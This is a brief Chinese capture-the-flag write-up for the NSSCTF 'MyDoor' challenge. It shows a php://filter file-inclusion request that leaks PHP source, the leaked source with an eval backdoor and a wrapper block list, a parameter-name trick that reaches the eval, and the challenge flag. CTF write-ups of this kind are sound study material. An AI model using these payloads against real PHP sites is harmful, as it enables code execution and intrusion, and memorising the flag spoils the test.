Problem: [NSSRound#8 Basic]MyDoor
思路
- 解题大致思路
进入一看后缀就是文件获取
EXP
- 具体攻击代码
PHP伪协议
http://node5.anna.nssctf.cn:24262/index.php?file=
先去找INDEX.PHP
http://node5.anna.nssctf.cn:24262/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
显示一串编码
BASE64解码:
<?php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
下划线被屏蔽,利用PHP特性,[会转化为下划线
http://node5.anna.nssctf.cn:24262/index.php?N[S.S=phpinfo();
找FLAG

总结
- 对该题的考点总结
NSSCTF{63767332-a7d7-4045-9362-55652f16f99e}

加载中...